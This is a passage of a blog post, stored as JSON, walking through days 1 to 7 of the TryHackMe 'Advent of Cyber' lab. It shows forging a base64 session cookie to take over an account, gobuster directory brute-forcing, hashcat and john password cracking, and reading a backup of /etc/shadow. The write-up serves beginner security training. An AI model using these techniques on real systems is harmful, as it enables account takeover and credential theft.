﻿{"id":203,"date":"2020-06-12T23:53:29","date_gmt":"2020-06-12T15:53:29","guid":{"rendered":"https:\/\/byy3.com\/?p=203"},"modified":"2020-06-12T23:53:29","modified_gmt":"2020-06-12T15:53:29","slug":"advent-of-cyber-days25-thm","status":"publish","type":"post","link":"https:\/\/byy3.com\/?p=203","title":{"rendered":"Advent of Cyber days25 THM"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">Good day and merry Christmas, welcome to another THM CTF write-up. This is a special event created by THM where users have to solve all 24 tasks. Also, this room is specially designed for beginners who wish to learn more about basic hacking and pentesting. The task is easy with supporting material and it good for those have absolutely zero knowledge in hacking. The write-up gonna be tedious after the THM hackback 2019, so bear with me. You can click on the permalink to locate yourself to the specific challenge. Let\u2019s get started.<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li><a href=\"https:\/\/byy3.com\/go\/?url=https:\/\/www.embeddedhacker.com\/2019\/12\/hacking-walkthrough-thm-cyber-of-advent\/#day1\" rel=\"nofollow\" >Day1<\/a><\/li><li><a href=\"https:\/\/byy3.com\/go\/?url=https:\/\/www.embeddedhacker.com\/2019\/12\/hacking-walkthrough-thm-cyber-of-advent\/#day2\" rel=\"nofollow\" >Day2<\/a><\/li><li><a href=\"https:\/\/byy3.com\/go\/?url=https:\/\/www.embeddedhacker.com\/2019\/12\/hacking-walkthrough-thm-cyber-of-advent\/#day3\" rel=\"nofollow\" >Day3<\/a><\/li><li><a href=\"https:\/\/byy3.com\/go\/?url=https:\/\/www.embeddedhacker.com\/2019\/12\/hacking-walkthrough-thm-cyber-of-advent\/#day4\" rel=\"nofollow\" >Day4<\/a><\/li><li><a href=\"https:\/\/byy3.com\/go\/?url=https:\/\/www.embeddedhacker.com\/2019\/12\/hacking-walkthrough-thm-cyber-of-advent\/#day5\" rel=\"nofollow\" >Day5<\/a><\/li><li><a href=\"https:\/\/byy3.com\/go\/?url=https:\/\/www.embeddedhacker.com\/2019\/12\/hacking-walkthrough-thm-cyber-of-advent\/#day6\" rel=\"nofollow\" >Day6<\/a><\/li><li><a href=\"https:\/\/byy3.com\/go\/?url=https:\/\/www.embeddedhacker.com\/2019\/12\/hacking-walkthrough-thm-cyber-of-advent\/#day7\" rel=\"nofollow\" >Day7<\/a><\/li><li><a href=\"https:\/\/byy3.com\/go\/?url=https:\/\/www.embeddedhacker.com\/2019\/12\/hacking-walkthrough-thm-cyber-of-advent\/#day8\" rel=\"nofollow\" >Day8<\/a><\/li><li><a href=\"https:\/\/byy3.com\/go\/?url=https:\/\/www.embeddedhacker.com\/2019\/12\/hacking-walkthrough-thm-cyber-of-advent\/#day9\" rel=\"nofollow\" >Day9<\/a><\/li><li><a href=\"https:\/\/byy3.com\/go\/?url=https:\/\/www.embeddedhacker.com\/2019\/12\/hacking-walkthrough-thm-cyber-of-advent\/#day10\" rel=\"nofollow\" >Day10<\/a><\/li><li><a href=\"https:\/\/byy3.com\/go\/?url=https:\/\/www.embeddedhacker.com\/2019\/12\/hacking-walkthrough-thm-cyber-of-advent\/#day11\" rel=\"nofollow\" >Day11<\/a><\/li><li><a href=\"https:\/\/byy3.com\/go\/?url=https:\/\/www.embeddedhacker.com\/2019\/12\/hacking-walkthrough-thm-cyber-of-advent\/#day12\" rel=\"nofollow\" >Day12<\/a><\/li><li><a href=\"https:\/\/byy3.com\/go\/?url=https:\/\/www.embeddedhacker.com\/2019\/12\/hacking-walkthrough-thm-cyber-of-advent\/#day13\" rel=\"nofollow\" >Day13<\/a><\/li><li><a href=\"https:\/\/byy3.com\/go\/?url=https:\/\/www.embeddedhacker.com\/2019\/12\/hacking-walkthrough-thm-cyber-of-advent\/#day14\" rel=\"nofollow\" >Day14<\/a><\/li><li><a href=\"https:\/\/byy3.com\/go\/?url=https:\/\/www.embeddedhacker.com\/2019\/12\/hacking-walkthrough-thm-cyber-of-advent\/#day15\" rel=\"nofollow\" >Day15<\/a><\/li><li><a href=\"https:\/\/byy3.com\/go\/?url=https:\/\/www.embeddedhacker.com\/2019\/12\/hacking-walkthrough-thm-cyber-of-advent\/#day16\" rel=\"nofollow\" >Day16<\/a><\/li><li><a href=\"https:\/\/byy3.com\/go\/?url=https:\/\/www.embeddedhacker.com\/2019\/12\/hacking-walkthrough-thm-cyber-of-advent\/#day17\" rel=\"nofollow\" >Day17<\/a><\/li><li><a href=\"https:\/\/byy3.com\/go\/?url=https:\/\/www.embeddedhacker.com\/2019\/12\/hacking-walkthrough-thm-cyber-of-advent\/#day18\" rel=\"nofollow\" >Day18<\/a><\/li><li><a href=\"https:\/\/byy3.com\/go\/?url=https:\/\/www.embeddedhacker.com\/2019\/12\/hacking-walkthrough-thm-cyber-of-advent\/#day19\" rel=\"nofollow\" >Day19<\/a><\/li><li><a href=\"https:\/\/byy3.com\/go\/?url=https:\/\/www.embeddedhacker.com\/2019\/12\/hacking-walkthrough-thm-cyber-of-advent\/#day20\" rel=\"nofollow\" >Day20<\/a><\/li><li><a href=\"https:\/\/byy3.com\/go\/?url=https:\/\/www.embeddedhacker.com\/2019\/12\/hacking-walkthrough-thm-cyber-of-advent\/#day21\" rel=\"nofollow\" >Day21<\/a><\/li><li><a href=\"https:\/\/byy3.com\/go\/?url=https:\/\/www.embeddedhacker.com\/2019\/12\/hacking-walkthrough-thm-cyber-of-advent\/#day22\" rel=\"nofollow\" >Day22<\/a><\/li><li><a href=\"https:\/\/byy3.com\/go\/?url=https:\/\/www.embeddedhacker.com\/2019\/12\/hacking-walkthrough-thm-cyber-of-advent\/#day23\" rel=\"nofollow\" >Day23<\/a><\/li><li><a href=\"https:\/\/byy3.com\/go\/?url=https:\/\/www.embeddedhacker.com\/2019\/12\/hacking-walkthrough-thm-cyber-of-advent\/#day24\" rel=\"nofollow\" >Day24<\/a><\/li><\/ul>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"day1\">Day 1 (Task 6) \u2013 Hacking the cookie<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">The first task of the challenge is about hijacking the session by altering the cookie value. You need to register and login yourself first and I name this account as user&nbsp;<strong>mama<\/strong>. After that, press F12 and find the cookie.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i0.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/cookie.png?fit=1024%2C149&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2875\" title=\"Advent of Cyber days25 THM\u63d2\u56fe\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">For your information, the value is encoded with base64.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i2.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/base64-1.png?w=1200&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2876\" title=\"Advent of Cyber days25 THM\u63d2\u56fe1\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe1\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">These first few characters contain the username&nbsp;<strong>mama<\/strong>&nbsp;while the rest is gibberish. Now, we are going to create a longer user name like&nbsp;<strong>hijackingthecookie<\/strong>.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i1.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/base641.png?w=1200&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2877\" title=\"Advent of Cyber days25 THM\u63d2\u56fe2\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe2\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">By comparing the previously decoded cookie, the last 11 characters (censored) are fixed. To hijack into the mcinventory\u2019s account, simply encode the following text.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>mcinventory&lt;the last 11 characters><\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Copy the encoded text and paste on it.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i1.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/cookie2.png?w=1200&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2878\" title=\"Advent of Cyber days25 THM\u63d2\u56fe3\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe3\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Refresh the page and you got yourself inside mcinventory account.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i0.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/wish-1.png?w=1200&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2879\" title=\"Advent of Cyber days25 THM\u63d2\u56fe4\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe4\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"day2\">Day 2 (Task 7): Directory brute-force and OSINT<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">This task involved two elements which are directory brute-force and OSINT. For this write-up, I\u2019m going to use gobuster with the following command.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>gobuster dir -u http:\/\/&lt;machine IP>:3000 -w \/usr\/share\/dirb\/wordlists\/common.txt<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i1.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/gobuster-1.png?w=1200&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2880\" title=\"Advent of Cyber days25 THM\u63d2\u56fe5\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe5\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">There is one particular directory gain our interest. Visiting the hidden directory and reading the source code, we got the following.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i2.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/git.png?w=1200&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2881\" title=\"Advent of Cyber days25 THM\u63d2\u56fe6\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe6\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Time to do a little bit of OSINT. Visit the&nbsp;<a href=\"https:\/\/byy3.com\/go\/?url=https:\/\/github.com\/\" rel=\"nofollow\" >legit GitHub<\/a>&nbsp;site and search for&nbsp;<strong>arctic digital design<\/strong>.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i0.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/github-1.png?w=1200&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2882\" title=\"Advent of Cyber days25 THM\u63d2\u56fe7\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe7\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">We just hit the jackpot. Read the repo and you should find something interesting.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i1.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/git2.png?w=1200&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2883\" title=\"Advent of Cyber days25 THM\u63d2\u56fe8\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe8\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Use the credential and login to the admin portal. Don\u2019t forget to read the message.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i0.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/msg.png?fit=1024%2C268&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2884\" title=\"Advent of Cyber days25 THM\u63d2\u56fe9\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe9\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"day3\">Day 3 (Task 8): Reading packet<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Download the packet file and read it using the Wireshark. Read packet ID 998 for the sake of the challenge.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i1.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/998.png?fit=1024%2C93&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2885\" title=\"Advent of Cyber days25 THM\u63d2\u56fe10\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe10\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Time to find something useful. To make things simple, it is good to follow the TCP stream. To do it, simply select any TCP packet, right-click and follow the TCP stream.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i0.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/follow.png?w=1200&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2886\" title=\"Advent of Cyber days25 THM\u63d2\u56fe11\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe11\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">All the information for the challenge is located&nbsp;<strong>on stream 1<\/strong>.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i1.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/s1.png?w=1200&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2887\" title=\"Advent of Cyber days25 THM\u63d2\u56fe12\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe12\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i2.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/s2.png?w=1200&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2888\" title=\"Advent of Cyber days25 THM\u63d2\u56fe13\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe13\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">To crack buddy\u2019s hashed password, simply punch in the following command. (By referring to the&nbsp;<a href=\"https:\/\/byy3.com\/go\/?url=https:\/\/hashcat.net\/wiki\/doku.php?id=example_hashes\" rel=\"nofollow\" >hashcat example<\/a>, the hash is sha512crypt)<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>hashcat -a 0 -m 1800 hash \/usr\/share\/wordlists\/rockyou.txt<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">If you are running the hashcat on VM, put&nbsp;<strong>\u2013force<\/strong>&nbsp;flag.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"day4\">Day 4 (Task 9): Linux challenge<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">This task going to test your understanding of the Linux command. Refer to the supporting material if you wanted to know more. Login into the machine via SSH shell.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Task9-1: visible files<\/h3>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i2.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/ls.png?w=1200&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2889\" title=\"Advent of Cyber days25 THM\u63d2\u56fe14\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe14\" \/><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\">Task9-2: Read a file<\/h3>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i0.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/cat.png?w=1200&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2890\" title=\"Advent of Cyber days25 THM\u63d2\u56fe15\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe15\" \/><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\">Task9-3: File the strings<\/h3>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i1.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/grep.png?w=1200&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2891\" title=\"Advent of Cyber days25 THM\u63d2\u56fe16\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe16\" \/><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\">Task9-4: Find the IP address<\/h3>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i2.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/grepo.png?w=1200&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2892\" title=\"Advent of Cyber days25 THM\u63d2\u56fe17\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe17\" \/><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\">Task9-5: Check user<\/h3>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i1.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/cat1.png?w=1200&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2893\" title=\"Advent of Cyber days25 THM\u63d2\u56fe18\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe18\" \/><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\">Task9-6: File integrity<\/h3>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i2.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/sha.png?w=1200&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2894\" title=\"Advent of Cyber days25 THM\u63d2\u56fe19\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe19\" \/><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\">Task9-7: Finding the hash<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">For your information, all user\u2019s hash is stored in \/etc\/shadow. The problem is, you can\u2019t simply read the file due to permission issues. Sometimes, you can find the backup somewhere inside the system folder.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i2.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/find.png?w=1200&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2895\" title=\"Advent of Cyber days25 THM\u63d2\u56fe20\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe20\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">We have permission to read the backup file.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i1.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/hash.png?fit=1024%2C128&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2896\" title=\"Advent of Cyber days25 THM\u63d2\u56fe21\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe21\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"day5\">Day 5 (Task 10): OSINT<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Download the picture and examine the metadata using&nbsp;<strong>ExifTool<\/strong>.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i1.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/creator.png?w=1200&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2897\" title=\"Advent of Cyber days25 THM\u63d2\u56fe22\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe22\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">We found a small piece of information regarding the creator\u2019s name. A quick google search on the name yielding the following twitter page.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i0.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/twitter.png?w=1200&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2898\" title=\"Advent of Cyber days25 THM\u63d2\u56fe23\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe23\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Visting the WordPress by elf Lola redirect us to the following page<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i1.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/wp.png?fit=1024%2C429&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2899\" title=\"Advent of Cyber days25 THM\u63d2\u56fe24\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe24\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Problem is, how do we know the first photograph being published by Lola? Ever heard&nbsp;<a href=\"https:\/\/byy3.com\/go\/?url=https:\/\/archive.org\/web\/\" rel=\"nofollow\" >waybackmachine<\/a>&nbsp;where people like to dig back the old stuff. Copy and paste the link in the waybackmachine, you got the following list of the archive.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i2.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/date.png?fit=1024%2C248&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2900\" title=\"Advent of Cyber days25 THM\u63d2\u56fe25\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe25\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">The earliest date is on October. Click on the date and visit the archived page.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i0.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/date1.png?fit=1024%2C394&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-3116\" title=\"Advent of Cyber days25 THM\u63d2\u56fe26\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe26\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Something is different compared to the latest one. To check with the lazy name, click onto the picture or do a reverse search using&nbsp;<a href=\"https:\/\/byy3.com\/go\/?url=https:\/\/tineye.com\/\" rel=\"nofollow\" >TinEye<\/a>.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i0.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/pic.png?w=1200&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2902\" title=\"Advent of Cyber days25 THM\u63d2\u56fe27\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe27\" \/><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"day6\">Day 6 (Task 11): Extract files from the packet<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Download the file and open it up with the&nbsp;<strong>Wireshark<\/strong>. Examine the UDP stream by right-clicking any DNS packet.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i1.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/stream.png?w=1200&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2903\" title=\"Advent of Cyber days25 THM\u63d2\u56fe28\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe28\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Looking at streams 2,3,4 and 5, you will come across something interesting.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i1.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/stream2.png?w=1200&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2904\" title=\"Advent of Cyber days25 THM\u63d2\u56fe29\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe29\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">The data is encoded as base16 or hex. After that, in Wireshark navigate yourself File -&gt; Export object -&gt; HTTP and download the two files (.zip and .jpg)<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i1.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/download.png?w=1200&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2905\" title=\"Advent of Cyber days25 THM\u63d2\u56fe30\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe30\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">The zip is password protected. Use fcrackzip or john to crack the password. In this case, I used the john.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>zip2john christmaslists.zip > hash<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>john hash<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i2.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/timmy.png?w=1200&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2906\" title=\"Advent of Cyber days25 THM\u63d2\u56fe31\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe31\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">There is another file hidden inside the Tryhackme.jpg. Use&nbsp;<strong>steghide<\/strong>&nbsp;(without the password) to extract the file.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i0.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/steghide.png?w=1200&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2907\" title=\"Advent of Cyber days25 THM\u63d2\u56fe32\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe32\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i2.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/monster.png?w=1200&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2908\" title=\"Advent of Cyber days25 THM\u63d2\u56fe33\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe33\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"day7\">Day 7 (Task 12): Nmap<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Launch your Nmap scanner with the following command<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>nmap -p0-1000 -A -v &lt;machine IP><\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Read all the available on the result screen and submit the answer.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i2.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/nmap-1.png?w=1200&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2910\" title=\"Advent of Cyber days25 THM\u63d2\u56fe34\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe34\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Don\u2019t forget to check Port 999. There is something inside the server.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"day8\">Day 8 (Task 13): SUID file 